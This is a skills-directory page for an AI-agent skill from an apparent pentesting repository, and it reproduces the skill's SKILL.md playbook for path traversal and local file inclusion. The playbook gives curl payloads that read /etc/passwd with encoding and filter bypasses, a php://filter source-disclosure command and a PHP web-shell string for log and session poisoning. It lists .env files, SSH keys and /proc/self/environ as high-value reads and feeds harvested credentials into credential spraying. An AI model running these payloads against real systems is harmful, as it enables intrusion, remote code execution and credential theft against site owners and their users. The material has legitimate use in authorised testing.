Agent skill

Web Lfi Traversal

by s0ld13rr in s0ld13rr/pentestcode

Path traversal / Local File Inclusion detection→file-read→RCE for web apps.

MITAuto-check: notesSecurity

Install Web Lfi Traversal

skills CLI
$ npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install s0ld13rr/pentestcode web-lfi-traversal --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/s0ld13rr/pentestcode.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/web/lfi-traversal .claude/skills/web-lfi-traversal && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
web-lfi-traversal
GitHub stars
828
Token cost
~602 tokens
SKILL.md length
139 words
Files
1
Skills in repo
9
Repo updated
First seen
Licence
MIT

At a glance

Path traversal / Local File Inclusion detection→file-read→RCE for web apps.

  • A param names a file/path/page/template/lang/download
  • SKILL.md covers When this fires, Detect, Decide and Exploit → PROVE IMPACT, plus 2 more sections
  • Calls curl
  • A response embeds file contents

What it does

Web Lfi Traversal is an agent skill from s0ld13rr/pentestcode. Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint.

Its SKILL.md is about 600 tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security. It works with PHP. The repository describes itself as: PentestCode - Multi-agent AI penetration testing system with persistent engagement state, strategic coordination, and parallel autonomous operations. The licence is MIT.

When your agent uses it

  • A param names a file/path/page/template/lang/download
  • A response embeds file contents
  • - file=/page=/path=/template=/lang=/download=/include= param
  • Directory listing

Example prompts

  • “no such file”
  • “/web-lfi-traversal”

What it can do on your machine

Read from SKILL.md and the folder at commit 6053679. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • curl

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md. Its commands use curl, which can reach the network depending on how they are called.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Web Lfi Traversal loads about 602 tokens when it runs. Until then it costs about 83 tokens; SKILL.md has 139 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~83
When it runs · the whole SKILL.md, loaded when a task matches
~602

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check: notes

The automated check noted patterns worth knowing about, such as sudo or a known installer.

  • NoteMentions a .env fileSKILL.md:29
    # high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline
  • NoteMentions a .env fileSKILL.md:36
    app shouldn't return (`/etc/passwd`, an .env with creds), or `id` via an LFI→RCE chain. Harvested creds → add_credentia

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from s0ld13rr/pentestcode at commit 6053679, republished under its MIT licence (© s0ld13rr). 139 words, ~602 tokens.

Download SKILL.mdSave it as .claude/skills/web-lfi-traversal/SKILL.md (or your agent's skills folder).
name
web-lfi-traversal
description
Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint.
tags
vuln_assess, exploitation

Path Traversal / LFI

When this fires

A param selects a file/page/template/language/download, or a download/include endpoint reflects file content.

Detect

bash
curl 'http://<t>/?page=../../../../etc/passwd'          # classic
curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd'  # url-encoded
curl 'http://<t>/?page=....//....//etc/passwd'          # filter-strip bypass

root:x:0:0 back = traversal/LFI. Windows: ..\..\..\windows\win.ini.

Decide

  • Reads only (traversal) → escalate to source disclosure + secrets.
  • PHP include() (LFI) → escalate to RCE via wrappers/poisoning.
  • Extension appended (page.php) → php://filter (below) or null-byte on old PHP; try ?page=../../etc/passwd%00 (PHP<5.3.4).

Exploit → PROVE IMPACT

bash
# source disclosure (base64 so PHP doesn't execute it):
curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline
# LFI → RCE paths:
#  log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log
#  session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID>
#  php://input / data:// (if allow_url_include) ; /proc/self/environ (older)
#  php filter chain → RCE (php_filter_chain_generator) when only file-read is available

Proof required: contents of a file the app shouldn't return (/etc/passwd, an .env with creds), or id via an LFI→RCE chain. Harvested creds → add_credential + cred_spray.

Tooling

nuclei -tags lfi,traversal; ffuf with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases.

False positives / pitfalls

  • WAF/framework normalizes ../ → try encodings, ....//, absolute paths, or a different param.
  • App sandboxes to a base dir → look for a symlink/upload you control to include.
  • 200 with generic page ≠ read — confirm the actual file bytes are in the response.

© s0ld13rr, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/web/lfi-traversal of s0ld13rr/pentestcode.

Open the folder on GitHubat commit 6053679

Compare with similar skills

Web Lfi Traversal next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Web Lfi Traversal compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Web Lfi Traversal this skills0ld13rr/pentestcode828—~602Automated safety check: NotesMIT
Php Archive Extract Audit0xShe/PHP-Code-Audit-Skill4021 repos~883Automated safety check: PassNone
Php Auth Audit0xShe/PHP-Code-Audit-Skill4021 repos~951Automated safety check: PassNone
Auditing Code For Vulnerabilitiestrilwu/secskills157—~3.2kAutomated safety check: PassMIT
Php Cmd Audit0xShe/PHP-Code-Audit-Skill4021 repos~465Automated safety check: PassNone
Php Config Audit0xShe/PHP-Code-Audit-Skill4021 repos~417Automated safety check: NotesNone

Similar skills

  • Php Archive Extract Audit

    0xShe/PHP-Code-Audit-Skill

    PHP Web 归档解压(Zip Slip/路径穿越)审计工具。识别解压条目名如何与目标目录拼接、是否存在 base dir 约束缺失,输出可利用性分级、可观测 PoC 与修复建议(禁止省略)。

    402 GitHub starsUsed in 1 repo~883 tokens
    SecurityAuto-check passed
  • Php Auth Audit

    0xShe/PHP-Code-Audit-Skill

    PHP Web 源码鉴权机制审计工具。从源码中识别所有认证/鉴权实现并分析风险,输出路由-鉴权映射与漏洞分析(含 PoC 与修复建议)。

    402 GitHub starsUsed in 1 repo~951 tokens
    SecurityAuto-check passed
  • Audit source code for exploitable vulnerabilities using threat-model-driven review, taint tracing, invariant checking, and variant analysis.

    157 GitHub stars~3.2k tokensUpdated 1 mo ago
    SecurityAuto-check passed
  • Php Cmd Audit

    0xShe/PHP-Code-Audit-Skill

    PHP Web 源码命令注入审计工具。识别命令执行 Sink(exec/system/shellexec 等),追踪用户输入进入命令拼接,输出可利用性分级、PoC 与修复建议(禁止省略)。

    402 GitHub starsUsed in 1 repo~465 tokens
    SecurityAuto-check passed
  • Php Config Audit

    0xShe/PHP-Code-Audit-Skill

    PHP Web 配置安全审计工具。识别 CORS/错误暴露/调试开关/安全头/危险运行时开关等,输出分级、可利用性分析、PoC 与修复建议(禁止省略)。

    402 GitHub starsUsed in 1 repo~417 tokens
    SecurityAuto-check: notes
  • Php Expr Audit

    0xShe/PHP-Code-Audit-Skill

    PHP Web 源码表达式注入(非模板)审计工具。识别用户可控表达式字符串进入表达式引擎求值/编译并最终导致敏感语义执行,输出可利用性分级、PoC 与修复建议(禁止省略)。

    402 GitHub starsUsed in 1 repo~720 tokens
    SecurityAuto-check passed

More from s0ld13rr/pentestcode

All 9 skills in this repo
  • Svc Docker K8s

    s0ld13rr/pentestcode

    Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft.

    828 GitHub stars~648 tokensUpdated 7 days ago
    Auto-check passed
  • Svc Mobile Android

    s0ld13rr/pentestcode

    Android APK static analysis — OWASP Mobile Top 10, Retrofit API audit, transport security, smali reading, component export, auth flow analysis.

    828 GitHub stars~2.9k tokensUpdated 7 days ago
    Auto-check passed
  • Web Sqli

    s0ld13rr/pentestcode

    SQL injection detection→exploitation→proof for web apps and APIs.

    828 GitHub stars~710 tokensUpdated 7 days ago
    Auto-check passed
  • Web Ssti

    s0ld13rr/pentestcode

    Server-Side Template Injection detection→engine-fingerprint→RCE for web apps.

    828 GitHub stars~621 tokensUpdated 7 days ago
    Auto-check passed
  • Web Xxe

    s0ld13rr/pentestcode

    XML External Entity injection detection→file-read/SSRF→proof for web apps.

    828 GitHub stars~585 tokensUpdated 7 days ago
    Auto-check passed
  • Svc Database

    s0ld13rr/pentestcode

    Database RCE paths — UDF, xpcmdshell, COPY TO PROGRAM, Redis key write.

    828 GitHub stars~379 tokensUpdated 7 days ago
    Auto-check passed

Works with

Categories

Questions about Web Lfi Traversal

What does Web Lfi Traversal do?

Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Web Lfi Traversal is an agent skill from s0ld13rr/pentestcode. Path traversal / Local File Inclusion detection→file-read→RCE for web apps.

When should I use Web Lfi Traversal?

Web Lfi Traversal fits situations like: A param names a file/path/page/template/lang/download; A response embeds file contents; - file=/page=/path=/template=/lang=/download=/include= param; directory listing.

How do I install Web Lfi Traversal in Claude Code?

Run `npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a claude-code`. Or copy the skill folder (skills/web/lfi-traversal in s0ld13rr/pentestcode) into .claude/skills/web-lfi-traversal in your project. Claude Code loads it when a task matches its description.

How do I install Web Lfi Traversal in Codex?

Run `npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a codex`. Or copy the skill folder (skills/web/lfi-traversal in s0ld13rr/pentestcode) into .agents/skills/web-lfi-traversal in your project. Codex loads it when a task matches its description.

Can I use Web Lfi Traversal in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add s0ld13rr/pentestcode --skill web-lfi-traversal -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/web-lfi-traversal, .gemini/skills/web-lfi-traversal, .github/skills/web-lfi-traversal and .opencode/skills/web-lfi-traversal in your project.

What does Web Lfi Traversal need to run?

Going by SKILL.md and its folder, Web Lfi Traversal needs the command-line tools its instructions call (curl).

Does Web Lfi Traversal access the network?

SKILL.md contains no URLs. Its commands use curl, which can reach the network depending on how they are called. This is read from the text; nothing was executed.

Is Web Lfi Traversal safe to install?

Our automated static check of SKILL.md found notes only (mentions a .env file), nothing it rates as a warning. It is not a guarantee. Review the folder before installing.

What licence does Web Lfi Traversal use?

Web Lfi Traversal is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Web Lfi Traversal use?

About 602 tokens (SKILL.md is roughly 2.4k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Web Lfi Traversal?

Skills that share tags, products or a category with Web Lfi Traversal: Php Archive Extract Audit (0xShe/PHP-Code-Audit-Skill, 402 stars), Php Auth Audit (0xShe/PHP-Code-Audit-Skill, 402 stars), Auditing Code For Vulnerabilities (trilwu/secskills, 157 stars) and Php Cmd Audit (0xShe/PHP-Code-Audit-Skill, 402 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Web Lfi Traversal?

s0ld13rr (a GitHub user) maintains it in s0ld13rr/pentestcode, which has 828 GitHub stars. The repository holds 9 skills in this directory. The repository was last updated on October 2, 2026.

Source: s0ld13rr/pentestcode on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.